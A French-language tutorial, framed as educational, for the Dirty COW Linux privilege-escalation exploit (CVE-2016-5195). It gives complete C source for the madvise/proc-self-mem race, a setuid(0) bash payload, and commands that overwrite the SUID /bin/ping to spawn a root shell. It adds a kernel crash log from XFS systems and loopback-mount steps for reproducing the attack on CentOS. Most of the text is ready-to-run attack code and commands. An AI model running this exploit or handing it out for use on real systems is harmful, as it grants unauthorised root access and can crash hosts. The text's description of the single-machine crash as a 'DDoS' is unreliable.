
Implémentation éducative de l'exploit d'élévation de privilèges Dirty COW (CVE-2016-5195), incluant le payload de condition de course et l'escalade vers un shell root basé sur SUID pour les systèmes Linux.
记录仅以学习为目的,禁止用于非法用途
La vulnérabilité repose sur l'écriture concurrente de pages sales, permettant de modifier le contenu d'un fichier initialement en lecture seule.
Si le fichier modifié appartient à root et possède le bit SUID, il est alors possible de l'exploiter pour élever ses privilèges.
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
void *map;
int f;
struct stat st;
char *name;
// Utilisé pour stocker le contenu et la taille du Payload lu depuis le fichier
char *payload_buf;
size_t payload_size;
// Thread B : appelle en continu madvise pour demander au noyau de libérer la page mémoire
void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 10000000; i++) {
c += madvise(map, payload_size, MADV_DONTNEED);
}
printf("[-] Fin du thread madvise\n");
return NULL;
}
// Thread A : écrit en continu des données dans la zone de mappage en lecture seule via /proc/self/mem
void *procselfmemThread(void *arg) {
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for(i = 0; i < 10000000; i++) {
lseek(f, (uintptr_t) map, SEEK_SET);
// Écrit le tampon Payload en mémoire
c += write(f, payload_buf, payload_size);
}
printf("[-] Fin du thread /proc/self/mem\n");
return NULL;
}
int main(int argc, char *argv[]) {
if (argc < 3) {
printf("Usage : %s <fichier cible en lecture seule> <fichier d'entrée Payload>\n", argv[0]);
return 1;
}
name = argv[1];
char *payload_file = argv[2];
// Ouvre et lit le contenu du fichier Payload en mémoire
int pf = open(payload_file, O_RDONLY);
if (pf < 0) {
perror("Échec de l'ouverture du fichier Payload");
return 1;
}
struct stat pst;
fstat(pf, &pst);
payload_size = pst.st_size;
if (payload_size == 0) {
printf("[!] Le fichier Payload est vide\n");
return 1;
}
payload_buf = malloc(payload_size);
if (read(pf, payload_buf, payload_size) != payload_size) {
perror("Échec de la lecture du fichier Payload");
return 1;
}
close(pf);
printf("[*] Fichier Payload chargé avec succès : %s (taille : %zu octets)\n", payload_file, payload_size);
// Mappe le fichier cible
f = open(name, O_RDONLY);
if (f < 0) {
perror("Échec de l'ouverture du fichier cible");
return 1;
}
fstat(f, &st);
// Empêche la longueur du Payload de dépasser celle du fichier cible
if (payload_size > st.st_size) {
printf("[!] Avertissement : la taille du Payload (%zu) est supérieure à celle du fichier cible (%zu).\n", payload_size, st.st_size);
printf("[!] Selon la caractéristique d'écrasement sur place de Dirty COW, la partie dépassant la taille du fichier cible sera tronquée et ignorée par le système de fichiers !\n");
}
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("[*] Adresse de mappage du fichier cible : %p\n", map);
// Lance la course à la condition
pthread_t pth1, pth2;
printf("[*] Lancement de la course à la condition (Race Condition)...\n");
pthread_create(&pth1, NULL, madviseThread, NULL);
pthread_create(&pth2, NULL, procselfmemThread, NULL);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
printf("[*] Course terminée, veuillez vérifier le contenu de %s.\n", name);
free(payload_buf);
return 0;
}
#include <unistd.h>
int main() {
// Restaure l'identité root
setuid(0);
setgid(0);
// Ouvre un bash root
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc -o d dirtycow_file_payload.c -lpthread
gcc -o up up.c
# Sauvegardez le ping d'origine dans votre environnement
cp /bin/ping ./ping
# Effectuez l'élévation de privilèges
./d /bin/ping ./up
# L'invite de commande du terminal root apparaît ensuite
Les étapes ci-dessus aboutissent à une élévation de privilèges sur les distributions utilisant par défaut le système de fichiers Ext, comme Ubuntu et Debian, car Ext applique une vérification plus laxiste des droits de lecture/écriture des pages sales. En revanche, sur les distributions de la famille Red Hat, qui utilisent par défaut XFS, cela se transforme en attaque par déni de service (DDoS), déclenchant l'assertion de vérification des pages sales et provoquant un redémarrage du système. Aperçu OCR de l'image de crash :
[ 0.000000] Detected CPU family 6 model 94
[ 0.000000] Warning: Intel CPU model - this hardware has not undergone upstre
am testing. Please consult http://wiki.centos.org/FAQ for more information
[ 8.4818041 mce: Unable to init device /dev/mcelog (rc: -5)hrough
[ 2.547101] sd 2:0:8:8: [sda] Assuming drive cache: write through
systemd-fsck[336]: /sbin/fsck.xfs: XFS file system.
kdumm: dump target is /dew/mapper/centos-roo
kdump: saving to /sysroot//var/crash/127.0.8.1-2826.08.26-16:11:03/
kdump: saving umcore-dmesg.txt
kdumm: saving vmcore-dmesg.txt
kdump: saving vmcore
Excluding unnecessary pages
Journal détaillé :
[ 6212.157286] ------------[ cut here ]------------
[ 6212.157291] kernel BUG at fs/xfs/xfs_aops.c:1031!
[ 6212.157292] invalid opcode: 0000 [#1] SMP
[ 6212.157294] Modules linked in: tcp_lp nls_utf8 isofs bnep bluetooth rfkill fuse ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables coretemp crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel ppdev snd_ens1371 snd_rawmidi snd_ac97_codec ac97_bus snd_seq snd_seq_device aesni_intel lrw gf128mul glue_helper ablk_helper cryptd snd_pcm vmw_balloon serio_raw pcspkr snd_timer snd soundcore vmw_vmci i2c_piix4 shpchp parport_pc parport uinput xfs libcrc32c sr_mod
[ 6212.157307] cdrom ata_generic pata_acpi sd_mod crc_t10dif crct10dif_common vmwgfx drm_kms_helper ttm ata_piix drm e1000 mptspi scsi_transport_spi i2c_core mptscsih mptbase libata dm_mirror dm_region_hash dm_log dm_mod
[ 6212.157313] CPU: 0 PID: 6231 Comm: kworker/u256:2 Not tainted 3.10.0-229.el7.x86_64 #1
[ 6212.157314] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 04/05/2016
[ 6212.157321] Workqueue: writeback bdi_writeback_workfn (flush-253:0)
[ 6212.157323] task: ffff8800456ead80 ti: ffff88003dd60000 task.ti: ffff88003dd60000
[ 6212.157324] RIP: 0010:[<ffffffffa01dc8e3>] [<ffffffffa01dc8e3>] xfs_vm_writepage+0x563/0x5d0 [xfs]
[ 6212.157346] RSP: 0018:ffff88003dd63948 EFLAGS: 00010246
[ 6212.157347] RAX: 001fffff0002006d RBX: ffff880077aceee8 RCX: 000000000000000c
[ 6212.157347] RDX: 0000000000000000 RSI: ffffea00001057c0 RDI: ffffea00001057c0
[ 6212.157348] RBP: ffff88003dd639f0 R08: fffffffffffffffd R09: 0000000000016978
[ 6212.157349] R10: 0000000000000000 R11: 000000000000000b R12: ffff880077aceee8
[ 6212.157349] R13: ffff88003dd63c40 R14: ffff880077aced98 R15: ffffea00001057c0
[ 6212.157350] FS: 0000000000000000(0000) GS:ffff88007c600000(0000) knlGS:0000000000000000
[ 6212.157351] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 6212.157352] CR2: 00007f46c2083000 CR3: 0000000042ccb000 CR4: 00000000003407f0
[ 6212.157385] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 6212.157403] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 6212.157403] Stack:
[ 6212.157404] 000000000000af60 ffff880036142e00 ffff88003dd63c40 ffff88003dd63a68
[ 6212.157405] ffff88003dd63a80 ffffea00001057c0 0000000000001000 0000000000001000
[ 6212.157406] ffff88003dd639f0 ffffffff81157091 0000000000000000 ffff880077aceef0
[ 6212.157407] Call Trace:
[ 6212.157412] [<ffffffff81157091>] ? find_get_pages_tag+0xe1/0x1a0
[ 6212.157414] [<ffffffff811610c3>] __writepage+0x13/0x50
[ 6212.157415] [<ffffffff81161be1>] write_cache_pages+0x251/0x4d0
[ 6212.157425] [<ffffffff811610b0>] ? global_dirtyable_memory+0x70/0x70
[ 6212.157427] [<ffffffff81161ead>] generic_writepages+0x4d/0x80
[ 6212.157435] [<ffffffffa01dbec3>] xfs_vm_writepages+0x43/0x50 [xfs]
[ 6212.157437] [<ffffffff81162f5e>] do_writepages+0x1e/0x40
[ 6212.157439] [<ffffffff811f04e0>] __writeback_single_inode+0x40/0x220
[ 6212.157440] [<ffffffff811f11de>] writeback_sb_inodes+0x25e/0x420
[ 6212.157441] [<ffffffff811f143f>] __writeback_inodes_wb+0x9f/0xd0
[ 6212.157443] [<ffffffff811f1c83>] wb_writeback+0x263/0x2f0
[ 6212.157445] [<ffffffff811e094c>] ? get_nr_inodes+0x4c/0x70
[ 6212.157446] [<ffffffff811f32cb>] bdi_writeback_workfn+0x2cb/0x460
[ 6212.157449] [<ffffffff8108f1db>] process_one_work+0x17b/0x470
[ 6212.157450] [<ffffffff8108ffbb>] worker_thread+0x11b/0x400
[ 6212.157451] [<ffffffff8108fea0>] ? rescuer_thread+0x400/0x400
[ 6212.157452] [<ffffffff8109739f>] kthread+0xcf/0xe0
[ 6212.157454] [<ffffffff810972d0>] ? kthread_create_on_node+0x140/0x140
[ 6212.157456] [<ffffffff8161497c>] ret_from_fork+0x7c/0xb0
[ 6212.157458] [<ffffffff810972d0>] ? kthread_create_on_node+0x140/0x140
[ 6212.157458] Code: df e8 02 a4 f7 e0 8b 45 a4 e9 6f fb ff ff 48 89 df e8 f2 d6 01 e1 44 8b 9d 74 ff ff ff 44 8b 4d a0 e9 c5 fe ff ff e8 5d 18 e9 e0 <0f> 0b 41 b9 01 00 00 00 e9 89 fe ff ff 80 3d ce bb 09 00 00 0f
[ 6212.157469] RIP [<ffffffffa01dc8e3>] xfs_vm_writepage+0x563/0x5d0 [xfs]
[ 6212.157474] RSP <ffff88003dd63948>
Si vous n'avez vraiment qu'un environnement de la famille Red Hat (par exemple CentOS 7) et que vous tenez absolument à essayer, vous pouvez créer manuellement un système de fichiers Ext pour simuler l'élévation de privilèges.
# Créez un fichier de 32 Mo rempli de zéros (comme disque virtuel)
dd if=/dev/zero of=/tmp/ext4_test.img bs=1M count=32
# Formatez ce fichier en système de fichiers Ext4
mkfs.ext4 /tmp/ext4_test.img
# Créez un répertoire de point de montage
mkdir -p /tmp/ext4_mount
# Montez le fichier de disque virtuel sur le répertoire à l'aide d'un périphérique loop (nécessite les droits root)
sudo mount -o loop /tmp/ext4_test.img /tmp/ext4_mount
# Vérifiez que le montage a réussi
df -T -h | grep ext4_mount
# Copiez le programme ping dans la partition sandbox
sudo cp /bin/ping /tmp/ext4_mount/
# Attribuez le propriétaire root et le bit SUID (4755 représente rwsr-xr-x)
sudo chown root:root /tmp/ext4_mount/ping
sudo chmod 4755 /tmp/ext4_mount/ping
# Vérifiez que les permissions sont correctement définies
ls -la /tmp/ext4_mount/ping
gcc -o ./d ./dirtycow_file_payload.c -lpthread
gcc -o ./up ./up.c -lpthread
./d /tmp/ext4_mount/ping ./up
# Une fois la course terminée, exécutez le ping dans la sandbox pour ouvrir un shell root
/tmp/ext4_mount/ping
Voici la logique de nettoyage
# Démontez la partition
sudo umount /tmp/ext4_mount
# Supprimez le point de montage et le fichier de disque virtuel
rm -rf /tmp/ext4_mount
rm -f /tmp/ext4_test.img